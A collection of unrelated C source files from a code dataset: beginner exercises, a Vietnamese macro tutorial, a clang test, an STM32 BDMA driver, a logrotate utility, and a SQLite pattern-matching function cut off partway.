//Macro thường được giới hạn trong một dòng. Toán tử tiếp tục macro (\) được sử dụng để tiếp tục macro quá dài cho một dòng. Ví dụ::
#define Wishes(a, b) \
printf(#a " & " #b ": Have a nice day!\n")
//Vi du Stringize
#define DEBUG
//Vi du Token Pasting:
int a, b, i;
#if !defined(tokengreetingW)
#define tokengreetingW "\nHello from the hell!\n"
#endif
#if !defined(aGreetinggreetingW)
#define aGreetinggreetingW "\nHello from the heaven!\n"
#endif
#define For(i, a, b) for (i = a; i <= b; i++) // Macro tham so
#define tokenpastor(n) printf("Greeting" #n " : %s", aGreeting##n)
#define tokenpaster(n) printf("Token" #n ": %s", token##n)
int main()
{
int i, j;
i = 6;
j = 23;
#ifdef DEBUG
printf("The result: Welcome to Zhuge's world!");
#endif
#if 0
/* Day la phan comment */
printf("This is comment");
#endif
printf("\nGia tri nho nhat la: %d", MIN(i, j));
printf("\nGia tri lon nhat la: %d\n", MAX(i, j));
//ANSI C
printf("File :%s\n", __FILE__);
printf("Date :%s\n", __DATE__);
printf("Time :%s\n", __TIME__);
printf("Line :%d\n", __LINE__);
printf("ANSI :%d\n", __STDC__);
Wishes(Dez, zhu);
printf("%c", Wishes(Dez, zhu)); //Thật kì lạ mình không hiểu tại sao chỗ này nếu dùng printf thì nó in ra kèm theo kí tự "" ở dưới
For(i, 1, 10)
printf("%s ", tokengreetingW);
//Vi du Token Pasting:
tokenpastor(greetingW);
tokenpaster(greetingW);
return 0;
}
|
the_stack_data/547795.c
|
/*Exercise 3 - Repetition
Write a C program to calculate the sum of the numbers from 1 to n.
Where n is a keyboard input.
e.g.
n -> 100
sum = 1+2+3+....+ 99+100 = 5050
n -> 1-
sum = 1+2+3+...+10 = 55 */
#include <stdio.h>
int main ()
{
int num, i, sum = 0;
printf("n -> ");
scanf("%d", &num);
for(i=1; i <= num; i++)
{
sum+=i;
}
printf("Sum = %d", sum);
return 0;
}
|
the_stack_data/1210781.c
|
#include <stdio.h>
int main()
{
int x, y, j, i, escada = 0, zero = 0, last = 0, no = 0; scanf("%d %d", &x, &y);
int matriz[x + 10][y + 10];
for (j = 0; j < x; j ++)
{
for (i = 0; i < y; i ++)
{
scanf("%d", &matriz[i][j]);
}
}
for (j = 0; j < x; j ++)
{
for (i = 0; i < y; i ++)
{
if (matriz[i][j] == 0)
{
for (zero = j; zero < x; zero ++)
{
if (matriz[i][zero] != 0)
{
printf("N");
return(0);
}
}
}
else
{
no ++;
}
}
//printf("%d\n", matriz[i][j]);
}
if (no != x * y)
{
printf("S");
}
else
{
printf("N");
}
return(0);
}
|
the_stack_data/92325615.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ex02.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: tpolonen <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/05/29 13:54:02 by tpolonen #+# #+# */
/* Updated: 2021/05/29 13:57:57 by tpolonen ### ########.fr */
/* */
/* ************************************************************************** */
#include <stdio.h>
int ft_iterative_power(int nb, int power);
int main(void)
{
printf("Testing with 42^2, should return 1764: %d\n",
ft_iterative_power(42, 2));
printf("Testing with 42^0, should return 1 : %d\n",
ft_iterative_power(42, 0));
printf("Testing with 42^-10, should return 0 : %d\n",
ft_iterative_power(42, -10));
printf("Testing with 42^42, let's see what we get:\n%d\n",
ft_iterative_power(42, 42));
return (0);
}
|
the_stack_data/232956211.c
|
// RUN: rm -rf %t.idx
// RUN: mkdir -p %t.o
// RUN: env CLANG_PROJECT_INDEX_PATH=%t.idx %clang -target x86_64-apple-macosx10.7 -arch x86_64 -mmacosx-version-min=10.7 -c %S/Inputs/test1.c -o %t.o/test1.o
// RUN: env CLANG_PROJECT_INDEX_PATH=%t.idx %clang -target x86_64-apple-macosx10.7 -arch x86_64 -mmacosx-version-min=10.7 -c %S/Inputs/test2.c -o %t.o/test2.o
// RUN: env CLANG_PROJECT_INDEX_PATH=%t.idx %clang -target x86_64-apple-macosx10.7 -arch x86_64 -mmacosx-version-min=10.7 -c %S/Inputs/test3.cpp -o %t.o/test3.o
// RUN: c-index-test core -aggregate-json %t.idx -o %t.json
// RUN: sed -e "s:%S::g" -e "s:%t.o::g" %t.json > %t.final.json
// RUN: diff -u %S/Inputs/json.c.json %t.final.json
|
the_stack_data/148578128.c
|
#include <stdio.h>
#include <stdint.h>
int main() {
FILE * in = fopen("bootstrap.lua", "rb");
FILE * out = fopen("bootstrap_bytes", "wb");
fprintf(out, "const uint8_t bootstrap_bytes[]={");
#define CHUNK_SIZE (1024*4)
uint32_t readSize;
uint32_t i;
char dataRead[CHUNK_SIZE];
while((readSize = fread(dataRead, 1, CHUNK_SIZE, in))) {
for(i = 0; i < readSize; ++i) {
fprintf(out, "0x%02x,", dataRead[i]);
if (i%32==0)
fprintf(out, "\n");
}
}
fprintf(out, "0x00};");
fclose(in);
fclose(out);
}
|
the_stack_data/100141677.c
|
/*********** INPUT PARAMETERS *********/
double CC; /* halo concentration */
double V200; /* circular velocity v_200 */
double LAMBDA; /* spin parameter */
double MD; /* disk mass fraction */
double JD; /* disk spin fraction */
double MB; /* bulge mass fraction */
double GasFraction;
double DiskHeight;
double BulgeSize;
double HI_GasMassFraction; /* in terms of the total gas mass */
double HI_GasDiskScaleLength; /* in terms of scale length of the disk */
double Qstabilizefactor;
int N_HALO; /* desired number of particles in halo */
int N_DISK; /* desired number of collsionless particles in disk */
int N_GAS; /* number of gas particles in stellar disk */
int N_BULGE; /* number of gas particles in stellar disk */
/*********************************************/
double M200; /* virial mass */
double M_TOTAL; /* total mass */
double RS; /* scale radius for halo */
double R200; /* virial radius */
double H; /* disk scale length */
double Z0; /* disk thickness */
double A; /* bulge scale radius */
double M_HALO; /* total dark mass */
double M_DISK; /* mass of stellar disk (collisionless part) */
double M_GAS; /* gas mass in disk */
double M_BULGE; /* mass of bulge */
double halo_spinfactor; /* computed streamin of dark matter */
double G; /* gravitational constant */
double H0; /* Hubble constant */
double UnitTime_in_s;
double UnitMass_in_g;
double UnitLength_in_cm;
double UnitVelocity_in_cm_per_s;
double UnitTime_in_Megayears;
/* particle data */
double *vmax2_halo,*vmax2_disk,*vmax2_bulge,*vmax2_gas;
double *xp_halo,*yp_halo,*zp_halo,*mp_halo;
double *xp_disk,*yp_disk,*zp_disk,*mp_disk;
double *xp_bulge,*yp_bulge,*zp_bulge,*mp_bulge;
double *xp_gas,*yp_gas,*zp_gas,*mp_gas,*u_gas;
double *vxp_halo,*vyp_halo,*vzp_halo;
double *vxp_disk,*vyp_disk,*vzp_disk;
double *vxp_bulge,*vyp_bulge,*vzp_bulge;
double *vxp_gas,*vyp_gas,*vzp_gas;
double LL,HR; /* LL = extension of fields in R and z.
HR = extension of high resolution region in z */
double dR; /* delta R */
double **Dphi_z,**Dphi_R,**Dphi_z_dR; /* derivatives of total potential */
double *epi_gamma2,*epi_kappa2; /* epicycle gamma^2 */
/* halo velocity fields */
double **VelDispRz_halo;
double **VelDispPhi_halo;
double **VelVc2_halo;
double **VelStreamPhi_halo;
double **VelDispRz_dR_halo;
/* bulge velocity fields */
double **VelDispRz_bulge;
double **VelDispPhi_bulge;
double **VelVc2_bulge;
double **VelStreamPhi_bulge;
double **VelDispRz_dR_bulge;
/* disk velocity fields */
double **VelDispRz_disk;
double **VelDispPhi_disk;
double **VelVc2_disk;
double **VelStreamPhi_disk;
double **VelDispRz_dR_disk;
/* auxiliary field */
double *xl,*yl,*D2yl;
double *list_z,*list_R,*list_RplusdR;
|
the_stack_data/47984.c
|
#include <stdio.h>
int gcd(int a, int b){
int c;
if (b == 0) {
printf("a: Value = %10d, Addr = %p\n", a, &a);
printf("b: Value = %10d, Addr = %p\n", b, &b);
printf("c: Value = %10d, Addr = %p\n\n", c, &c);
return (a);
}
c = gcd(b, a % b);
printf("a: Value = %10d, Addr = %p\n", a, &a);
printf("b: Value = %10d, Addr = %p\n", b, &b);
printf("c: Value = %10d, Addr = %p\n\n", c, &c);
return (c);
}
int main(void){
int x = 27, y = 18, z, gcd();
printf("----- Start -----\n");
printf("x: Value = %10d, Addr = %p\n", x, &x);
printf("y: Value = %10d, Addr = %p\n", y, &y);
printf("z: Value = %10d, Addr = %p\n\n", z, &z);
printf("-- Start GCD ---\n");
z = gcd(x, y);
printf("--- GCD Done ---\n");
printf("x: Value = %10d, Addr = %p\n", x, &x);
printf("y: Value = %10d, Addr = %p\n", y, &y);
printf("z: Value = %10d, Addr = %p\n", z, &z);
printf("\ngcd(%d, %d) = %d\n", x, y, z);
return (0);
}
|
the_stack_data/665060.c
|
/**
******************************************************************************
* @file stm32h7xx_ll_bdma.c
* @author MCD Application Team
* @brief BDMA LL module driver.
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2017 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32h7xx_ll_bdma.h"
#include "stm32h7xx_ll_bus.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif
/** @addtogroup STM32H7xx_LL_Driver
* @{
*/
#if defined (BDMA) || defined (BDMA1) || defined (BDMA2)
/** @addtogroup BDMA_LL
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup BDMA_LL_Private_Macros
* @{
*/
#define IS_LL_BDMA_DIRECTION(__VALUE__) (((__VALUE__) == LL_BDMA_DIRECTION_PERIPH_TO_MEMORY) || \
((__VALUE__) == LL_BDMA_DIRECTION_MEMORY_TO_PERIPH) || \
((__VALUE__) == LL_BDMA_DIRECTION_MEMORY_TO_MEMORY))
#define IS_LL_BDMA_MODE(__VALUE__) (((__VALUE__) == LL_BDMA_MODE_NORMAL) || \
((__VALUE__) == LL_BDMA_MODE_CIRCULAR))
#define IS_LL_BDMA_PERIPHINCMODE(__VALUE__) (((__VALUE__) == LL_BDMA_PERIPH_INCREMENT) || \
((__VALUE__) == LL_BDMA_PERIPH_NOINCREMENT))
#define IS_LL_BDMA_MEMORYINCMODE(__VALUE__) (((__VALUE__) == LL_BDMA_MEMORY_INCREMENT) || \
((__VALUE__) == LL_BDMA_MEMORY_NOINCREMENT))
#define IS_LL_BDMA_PERIPHDATASIZE(__VALUE__) (((__VALUE__) == LL_BDMA_PDATAALIGN_BYTE) || \
((__VALUE__) == LL_BDMA_PDATAALIGN_HALFWORD) || \
((__VALUE__) == LL_BDMA_PDATAALIGN_WORD))
#define IS_LL_BDMA_MEMORYDATASIZE(__VALUE__) (((__VALUE__) == LL_BDMA_MDATAALIGN_BYTE) || \
((__VALUE__) == LL_BDMA_MDATAALIGN_HALFWORD) || \
((__VALUE__) == LL_BDMA_MDATAALIGN_WORD))
#define IS_LL_BDMA_NBDATA(__VALUE__) ((__VALUE__) <= 0x0000FFFFU)
#if defined(ADC3)
#define IS_LL_BDMA_PERIPHREQUEST(__VALUE__) ((__VALUE__) <= LL_DMAMUX2_REQ_ADC3)
#else
#define IS_LL_BDMA_PERIPHREQUEST(__VALUE__) ((__VALUE__) <= LL_DMAMUX2_REQ_DFSDM2_FLT0)
#endif /* ADC3 */
#define IS_LL_BDMA_PRIORITY(__VALUE__) (((__VALUE__) == LL_BDMA_PRIORITY_LOW) || \
((__VALUE__) == LL_BDMA_PRIORITY_MEDIUM) || \
((__VALUE__) == LL_BDMA_PRIORITY_HIGH) || \
((__VALUE__) == LL_BDMA_PRIORITY_VERYHIGH))
#define IS_LL_BDMA_ALL_CHANNEL_INSTANCE(INSTANCE, CHANNEL) ((((INSTANCE) == BDMA) && \
(((CHANNEL) == LL_BDMA_CHANNEL_0) || \
((CHANNEL) == LL_BDMA_CHANNEL_1) || \
((CHANNEL) == LL_BDMA_CHANNEL_2) || \
((CHANNEL) == LL_BDMA_CHANNEL_3) || \
((CHANNEL) == LL_BDMA_CHANNEL_4) || \
((CHANNEL) == LL_BDMA_CHANNEL_5) || \
((CHANNEL) == LL_BDMA_CHANNEL_6) || \
((CHANNEL) == LL_BDMA_CHANNEL_7))))
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup BDMA_LL_Exported_Functions
* @{
*/
/** @addtogroup BDMA_LL_EF_Init
* @{
*/
/**
* @brief De-initialize the DMA registers to their default reset values.
* @param BDMAx BDMAx Instance
* @param Channel This parameter can be one of the following values:
* @arg @ref LL_BDMA_CHANNEL_0
* @arg @ref LL_BDMA_CHANNEL_1
* @arg @ref LL_BDMA_CHANNEL_2
* @arg @ref LL_BDMA_CHANNEL_3
* @arg @ref LL_BDMA_CHANNEL_4
* @arg @ref LL_BDMA_CHANNEL_5
* @arg @ref LL_BDMA_CHANNEL_6
* @arg @ref LL_BDMA_CHANNEL_7
* @arg @ref LL_BDMA_CHANNEL_ALL
* @retval An ErrorStatus enumeration value:
* - SUCCESS: DMA registers are de-initialized
* - ERROR: DMA registers are not de-initialized
*/
uint32_t LL_BDMA_DeInit(BDMA_TypeDef *BDMAx, uint32_t Channel)
{
BDMA_Channel_TypeDef *tmp ;
ErrorStatus status = SUCCESS;
/* Check the DMA Instance DMAx and Channel parameters */
assert_param(IS_LL_BDMA_ALL_CHANNEL_INSTANCE(BDMAx, Channel) || (Channel == LL_BDMA_CHANNEL_ALL));
if (Channel == LL_BDMA_CHANNEL_ALL)
{
if (BDMAx == BDMA)
{
/* Force reset of BDMA clock */
LL_AHB1_GRP1_ForceReset(LL_AHB1_GRP1_PERIPH_DMA1);
/* Release reset of BDMA clock */
LL_AHB1_GRP1_ReleaseReset(LL_AHB1_GRP1_PERIPH_DMA1);
}
else
{
status = ERROR;
}
}
else
{
tmp = (BDMA_Channel_TypeDef *)(__LL_BDMA_GET_CHANNEL_INSTANCE(BDMAx, Channel));
/* Disable the selected DMAx_Channely */
CLEAR_BIT(tmp->CCR, BDMA_CCR_EN);
/* Reset DMAx_Channely control register */
LL_BDMA_WriteReg(tmp, CCR, 0U);
/* Reset DMAx_Channely remaining bytes register */
LL_BDMA_WriteReg(tmp, CNDTR, 0U);
/* Reset DMAx_Channely peripheral address register */
LL_BDMA_WriteReg(tmp, CPAR, 0U);
/* Reset DMAx_Channely memory 0 address register */
LL_BDMA_WriteReg(tmp, CM0AR, 0U);
/* Reset DMAx_Channely memory 1 address register */
LL_BDMA_WriteReg(tmp, CM1AR, 0U);
/* Reset Request register field for BDMAx Channel */
LL_BDMA_SetPeriphRequest(BDMAx, Channel, LL_DMAMUX2_REQ_MEM2MEM);
if (Channel == LL_BDMA_CHANNEL_0)
{
/* Reset interrupt pending bits for DMAx Channel0 */
LL_BDMA_ClearFlag_GI0(BDMAx);
}
else if (Channel == LL_BDMA_CHANNEL_1)
{
/* Reset interrupt pending bits for DMAx Channel1 */
LL_BDMA_ClearFlag_GI1(BDMAx);
}
else if (Channel == LL_BDMA_CHANNEL_2)
{
/* Reset interrupt pending bits for DMAx Channel2 */
LL_BDMA_ClearFlag_GI2(BDMAx);
}
else if (Channel == LL_BDMA_CHANNEL_3)
{
/* Reset interrupt pending bits for DMAx Channel3 */
LL_BDMA_ClearFlag_GI3(BDMAx);
}
else if (Channel == LL_BDMA_CHANNEL_4)
{
/* Reset interrupt pending bits for DMAx Channel4 */
LL_BDMA_ClearFlag_GI4(BDMAx);
}
else if (Channel == LL_BDMA_CHANNEL_5)
{
/* Reset interrupt pending bits for DMAx Channel5 */
LL_BDMA_ClearFlag_GI5(BDMAx);
}
else if (Channel == LL_BDMA_CHANNEL_6)
{
/* Reset interrupt pending bits for DMAx Channel6 */
LL_BDMA_ClearFlag_GI6(BDMAx);
}
else if (Channel == LL_BDMA_CHANNEL_7)
{
/* Reset interrupt pending bits for DMAx Channel7 */
LL_BDMA_ClearFlag_GI7(BDMAx);
}
else
{
status = ERROR;
}
}
return (uint32_t)status;
}
/**
* @brief Initialize the BDMA registers according to the specified parameters in BDMA_InitStruct.
* @note To convert BDMAx_Channely Instance to BDMAx Instance and Channely, use helper macros :
* @arg @ref __LL_BDMA_GET_INSTANCE
* @arg @ref __LL_BDMA_GET_CHANNEL
* @param BDMAx BDMAx Instance
* @param Channel This parameter can be one of the following values:
* @arg @ref LL_BDMA_CHANNEL_0
* @arg @ref LL_BDMA_CHANNEL_1
* @arg @ref LL_BDMA_CHANNEL_2
* @arg @ref LL_BDMA_CHANNEL_3
* @arg @ref LL_BDMA_CHANNEL_4
* @arg @ref LL_BDMA_CHANNEL_5
* @arg @ref LL_BDMA_CHANNEL_6
* @arg @ref LL_BDMA_CHANNEL_7
* @param BDMA_InitStruct pointer to a @ref LL_BDMA_InitTypeDef structure.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: DMA registers are initialized
* - ERROR: Not applicable
*/
uint32_t LL_BDMA_Init(BDMA_TypeDef *BDMAx, uint32_t Channel, LL_BDMA_InitTypeDef *BDMA_InitStruct)
{
/* Check the DMA Instance DMAx and Channel parameters */
assert_param(IS_LL_BDMA_ALL_CHANNEL_INSTANCE(BDMAx, Channel));
/* Check the DMA parameters from BDMA_InitStruct */
assert_param(IS_LL_BDMA_DIRECTION(BDMA_InitStruct->Direction));
assert_param(IS_LL_BDMA_MODE(BDMA_InitStruct->Mode));
assert_param(IS_LL_BDMA_PERIPHINCMODE(BDMA_InitStruct->PeriphOrM2MSrcIncMode));
assert_param(IS_LL_BDMA_MEMORYINCMODE(BDMA_InitStruct->MemoryOrM2MDstIncMode));
assert_param(IS_LL_BDMA_PERIPHDATASIZE(BDMA_InitStruct->PeriphOrM2MSrcDataSize));
assert_param(IS_LL_BDMA_MEMORYDATASIZE(BDMA_InitStruct->MemoryOrM2MDstDataSize));
assert_param(IS_LL_BDMA_NBDATA(BDMA_InitStruct->NbData));
assert_param(IS_LL_BDMA_PERIPHREQUEST(BDMA_InitStruct->PeriphRequest));
assert_param(IS_LL_BDMA_PRIORITY(BDMA_InitStruct->Priority));
/*---------------------------- DMAx CCR Configuration ------------------------
* Configure DMAx_Channely: data transfer direction, data transfer mode,
* peripheral and memory increment mode,
* data size alignment and priority level with parameters :
* - Direction: BDMA_CCR_DIR and BDMA_CCR_MEM2MEM bits
* - Mode: BDMA_CCR_CIRC bit
* - PeriphOrM2MSrcIncMode: BDMA_CCR_PINC bit
* - MemoryOrM2MDstIncMode: BDMA_CCR_MINC bit
* - PeriphOrM2MSrcDataSize: BDMA_CCR_PSIZE[1:0] bits
* - MemoryOrM2MDstDataSize: BDMA_CCR_MSIZE[1:0] bits
* - Priority: BDMA_CCR_PL[1:0] bits
*/
LL_BDMA_ConfigTransfer(BDMAx, Channel, BDMA_InitStruct->Direction | \
BDMA_InitStruct->Mode | \
BDMA_InitStruct->PeriphOrM2MSrcIncMode | \
BDMA_InitStruct->MemoryOrM2MDstIncMode | \
BDMA_InitStruct->PeriphOrM2MSrcDataSize | \
BDMA_InitStruct->MemoryOrM2MDstDataSize | \
BDMA_InitStruct->Priority);
/*-------------------------- DMAx CMAR Configuration -------------------------
* Configure the memory or destination base address with parameter :
* - MemoryOrM2MDstAddress: BDMA_CMAR_MA[31:0] bits
*/
LL_BDMA_SetMemoryAddress(BDMAx, Channel, BDMA_InitStruct->MemoryOrM2MDstAddress);
/*-------------------------- DMAx CPAR Configuration -------------------------
* Configure the peripheral or source base address with parameter :
* - PeriphOrM2MSrcAddress: BDMA_CPAR_PA[31:0] bits
*/
LL_BDMA_SetPeriphAddress(BDMAx, Channel, BDMA_InitStruct->PeriphOrM2MSrcAddress);
/*--------------------------- DMAx CNDTR Configuration -----------------------
* Configure the peripheral base address with parameter :
* - NbData: BDMA_CNDTR_NDT[15:0] bits
*/
LL_BDMA_SetDataLength(BDMAx, Channel, BDMA_InitStruct->NbData);
/*--------------------------- DMAMUXx CCR Configuration ----------------------
* Configure the DMA request for DMA Channels on DMAMUX Channel x with parameter :
* - PeriphRequest: BDMA_CxCR[7:0] bits
*/
LL_BDMA_SetPeriphRequest(BDMAx, Channel, BDMA_InitStruct->PeriphRequest);
return (uint32_t)SUCCESS;
}
/**
* @brief Set each @ref LL_BDMA_InitTypeDef field to default value.
* @param BDMA_InitStruct Pointer to a @ref LL_BDMA_InitTypeDef structure.
* @retval None
*/
void LL_BDMA_StructInit(LL_BDMA_InitTypeDef *BDMA_InitStruct)
{
/* Set BDMA_InitStruct fields to default values */
BDMA_InitStruct->PeriphOrM2MSrcAddress = 0x00000000U;
BDMA_InitStruct->MemoryOrM2MDstAddress = 0x00000000U;
BDMA_InitStruct->Direction = LL_BDMA_DIRECTION_PERIPH_TO_MEMORY;
BDMA_InitStruct->Mode = LL_BDMA_MODE_NORMAL;
BDMA_InitStruct->PeriphOrM2MSrcIncMode = LL_BDMA_PERIPH_NOINCREMENT;
BDMA_InitStruct->MemoryOrM2MDstIncMode = LL_BDMA_MEMORY_NOINCREMENT;
BDMA_InitStruct->PeriphOrM2MSrcDataSize = LL_BDMA_PDATAALIGN_BYTE;
BDMA_InitStruct->MemoryOrM2MDstDataSize = LL_BDMA_MDATAALIGN_BYTE;
BDMA_InitStruct->NbData = 0x00000000U;
BDMA_InitStruct->PeriphRequest = LL_DMAMUX2_REQ_MEM2MEM;
BDMA_InitStruct->Priority = LL_BDMA_PRIORITY_LOW;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* BDMA || BDMA1 || BDMA2 */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/83414.c
|
/*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*
* 2010.09.06, v1.0, Guillermo Grandes
*
* Compile: gcc -Wall -O2 logrotate.c -o logrotate
*/
#define _LARGEFILE_SOURCE
#define _FILE_OFFSET_BITS 64
#define _GNU_SOURCE
#define _XOPEN_SOURCE 600
//
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
//
#define BUF_SIZE_IN 2048
#define BUF_SIZE_TS 64
#define VERSION "1.0"
//
static char *name = NULL;
static unsigned long MAX_SIZE = 0;
//
inline int
printLineTS(char *buf, int maxLen, char *extra)
{
time_t t = time(NULL);
struct tm *p_tm = localtime(&t);
return snprintf(buf, maxLen, "%04d-%02d-%02d %02d:%02d:%02d%s", p_tm->tm_year+1900, p_tm->tm_mon+1, p_tm->tm_mday, p_tm->tm_hour, p_tm->tm_min, p_tm->tm_sec, extra);
}
//
inline int
loadBuffer(void *buf, int pos, int size)
{
return read(0, buf + pos, size - pos);
}
//
inline unsigned long long
getFileSize(int fd)
{
struct stat sb;
int res = fstat(fd, &sb);
if (res != 0) {
fprintf(stderr, "Error fstat res(%d): %d (%s)\n", res, errno, strerror(errno));
exit(EXIT_FAILURE);
}
return sb.st_size;
}
//
inline int
openOutput(void)
{
int fd = -1;
// Open Output File
fd = open(name, O_CREAT|O_APPEND|O_WRONLY|O_LARGEFILE, S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH);
if (fd < 0) {
fprintf(stderr, "Error open: %d (%s)\n", errno, strerror(errno));
exit(EXIT_FAILURE);
}
return fd;
}
//
inline void
rotateLog(int *fd)
{
if (*fd == -1) {
*fd = openOutput();
} else {
unsigned long long fileSize = getFileSize(*fd);
if (fileSize > MAX_SIZE) {
char newname[2048];
close(*fd);
*fd = -1;
snprintf(newname, sizeof(newname), "%s.old", name);
rename(name, newname);
*fd = openOutput();
}
}
}
//
void
process(void)
{
ssize_t readed = 0;
int fd = -1;
int i;
int head = 0;
int eol = 0;
int newlined = 0;
char bufin[BUF_SIZE_IN];
char bufts[BUF_SIZE_TS];
//
memset(bufin, 0, sizeof(bufin));
while ((readed = loadBuffer(bufin, head, sizeof(bufin)-1)) > 0) {
bufin[readed] = 0;
for (i = 0; i < readed; i++) {
if (bufin[i] == 10 || bufin[i] == 13 || bufin[i] == 0) { // EOL
bufin[i] = 0; // EOB
write(fd, bufin + head, i - head);
if (eol == 0) {
write(fd, "\n", 1);
}
head = i+1;
eol++; newlined=0;
} else {
if (!newlined) {
int len = printLineTS(bufts, sizeof(bufts), " > ");
rotateLog(&fd);
write(fd, bufts, len);
newlined++;
}
eol = 0;
}
}
if (!eol) {
write(fd, bufin + head, readed - head);
}
head = 0;
}
if (newlined) {
write(fd, "\n", 1);
}
}
//
int
main(int argc, char *argv[])
{
//
// Check Params
if (argc != 3) {
fprintf(stderr, "Usage: %s <pathname> <size-limit-bytes>\n", argv[0]);
exit(EXIT_FAILURE);
}
//
name = argv[1];
MAX_SIZE = atol(argv[2]);
//
process();
//
exit(EXIT_SUCCESS);
}
//
|
the_stack_data/92326985.c
|
/**
* Forking a process
*
* Let n be the return of the fork
* 1. if n < 0, fork failed
* 2. if n == 0, child is running currently
* 3. if n > 0, parent is running currently
*
* Note: Sometimes parent might exit before the execution of the child
* Resolution: wait()
*/
#include <unistd.h>
#include <string.h>
int println(const char* str)
{
write(0, "\n", 1);
write(0, str, strlen(str));
}
int main()
{
int n = fork();
char str[] = "\nHello";
write(0, str, strlen(str));
if( n < 0 )
println("No child is created");
else if( n == 0 )
println("Child process");
else
println("Parent process");
println("------------------");
return 0;
}
|
the_stack_data/63152.c
|
#define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
/* Type definitions */
typedef scalar_t__ u8 ;
typedef int u32 ;
struct compareInfo {int matchOne; int matchAll; scalar_t__ noCase; scalar_t__ matchSet; } ;
/* Variables and functions */
int SQLITE_MATCH ;
int SQLITE_NOMATCH ;
int SQLITE_NOWILDCARDMATCH ;
int /*<<< orphan*/ SQLITE_SKIP_UTF8 (scalar_t__ const*) ;
int Utf8Read (scalar_t__ const*) ;
int /*<<< orphan*/ assert (int) ;
char sqlite3Tolower (int) ;
char sqlite3Toupper (int) ;
int sqlite3Utf8Read (scalar_t__ const**) ;
int /*<<< orphan*/ strcspn (char const*,char*) ;
__attribute__((used)) static int patternCompare(
const u8 *zPattern, /* The glob pattern */
const u8 *zString, /* The string to compare against the glob */
const struct compareInfo *pInfo, /* Information about how to do the compare */
u32 matchOther /* The escape char (LIKE) or '[' (GLOB) */
){
u32 c, c2; /* Next pattern and input string chars */
u32 matchOne = pInfo->matchOne; /* "?" or "_" */
u32 matchAll = pInfo->matchAll; /* "*" or "%" */
u8 noCase = pInfo->noCase; /* True if uppercase==lowercase */
const u8 *zEscaped = 0; /* One past the last escaped input char */
while( (c = Utf8Read(zPattern))!=0 ){
if( c==matchAll ){ /* Match "*" */
/* Skip over multiple "*" characters in the pattern. If there
** are also "?" characters, skip those as well, but consume a
** single character of the input string for each "?" skipped */
while( (c=Utf8Read(zPattern)) == matchAll || c == matchOne ){
if( c==matchOne && sqlite3Utf8Read(&zString)==0 ){
return SQLITE_NOWILDCARDMATCH;
}
}
if( c==0 ){
return SQLITE_MATCH; /* "*" at the end of the pattern matches */
}else if( c==matchOther ){
if( pInfo->matchSet==0 ){
c = sqlite3Utf8Read(&zPattern);
if( c==0 ) return SQLITE_NOWILDCARDMATCH;
}else{
/* "[...]" immediately follows the "*". We have to do a slow
** recursive search in this case, but it is an unusual case. */
assert( matchOther<0x80 ); /* '[' is a single-byte character */
while( *zString ){
int bMatch = patternCompare(&zPattern[-1],zString,pInfo,matchOther);
if( bMatch!=SQLITE_NOMATCH ) return bMatch;
SQLITE_SKIP_UTF8(zString);
}
return SQLITE_NOWILDCARDMATCH;
}
}
/* At this point variable c contains the first character of the
** pattern string past the "*". Search in the input string for the
** first matching character and recursively continue the match from
** that point.
**
** For a case-insensitive search, set variable cx to be the same as
** c but in the other case and search the input string for either
** c or cx.
*/
if( c<=0x80 ){
char zStop[3];
int bMatch;
if( noCase ){
zStop[0] = sqlite3Toupper(c);
zStop[1] = sqlite3Tolower(c);
zStop[2] = 0;
}else{
zStop[0] = c;
zStop[1] = 0;
}
while(1){
zString += strcspn((const char*)zString, zStop);
if( zString[0]==0 ) break;
zString++;
bMatch = patternCompare(zPattern,zString,pInfo,matchOther);
if( bMatch!=SQLITE_NOMATCH ) return bMatch;
}
}else{
int bMatch;
while( (c2 = Utf8Read(zString))!=0 ){
if( c2!=c ) continue;
bMatch = patternCompare(zPattern,zString,pInfo,matchOther);
if( bMatch!=SQLITE_NOMATCH ) return bMatch;
}
}
return SQLITE_NOWILDCARDMATCH;
}
if( c==matchOther ){
if( pInfo->matchSet==0 ){
c = sqlite3Utf8Read(&zPattern);
if( c==0 ) return SQLITE_NOMATCH;
zEscaped = zPattern;
}else{
u32 prior_c = 0;
int seen = 0;
int invert = 0;
c = sqlite3Utf8Read(&zString);
if( c==0 ) return SQLITE_NOMATCH;
c2 = sqlite3Utf8Read(&zPattern);
if( c2=='^' ){
invert = 1;
c2 = sqlite3Utf8Read(&zPattern);
}
if( c2==']' ){
if( c==']' ) seen = 1;
